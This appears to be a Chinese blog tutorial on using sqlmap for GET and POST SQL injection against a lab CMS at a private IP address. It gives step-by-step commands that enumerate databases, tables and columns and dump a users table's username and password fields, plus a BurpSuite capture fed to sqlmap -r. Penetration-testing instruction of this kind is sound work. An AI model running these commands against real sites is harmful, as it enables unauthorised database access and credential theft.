全自动注入SqlMap


前言

本篇主要介绍通过使用全自动注入SqlMap实现GET注入和POST注入。

一、GET注入

1. -u

  • sqlmap -u "http://192.168.35.144/cms/show.php?id=35" 【 -u:需要扫描的url】
  • SqlMap 得到结果:
    • 针对GET参数是一个注入点,有四种注入方法:布尔盲注,报错注入,延时注入,联合查询
    • Payload 后面的东西就相当于一个注入时输入的模板
      在这里插入图片描述

2. -dbs

  • 语句:sqlmap -u "http://192.168.35.144/cms/show.php?id=35" --dbs 列出所有数据库的名字
    在这里插入图片描述

3. --current       ~~~~~      -db

语句: sqlmap -u "http://192.168.35.144/cms/show.php?id=35" --current-db 列出当前数据库的名字
在这里插入图片描述

4. -D       ~~~~~      –tables

语句:sqlmap -u "http://192.168.35.144/cms/show.php?id=35" -D "cms" --tables -D指定一个数据库 --tables 列出表名
在这里插入图片描述

5. -T       ~~~~~      –columns

语句:sqlmap -u "http://192.168.35.144/cms/show.php?id=35" -D "cms" -T "cms_users" --columns
【 -T 指定表名 --columns 列出表中所有字段 】
在这里插入图片描述

6. -C       ~~~~~      –dump

语句:sqlmap -u "http://192.168.35.144/cms/show.php?id=35" -D "cms" -T "cms_users" -C "username,password" --dump
【 -C 指定字段 --dump 列出字段内容 】
在这里插入图片描述

二、POST注入

Step1. 抓包

kali里使用BurpSuite,抓到POST数据包,并将这个包复制粘贴到kali的文件post.txt中
在这里插入图片描述

Step2. POST注入

sqlmap -r post.txt 自动读取包内容,并进行sql注入测试,并得到注入结果。
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值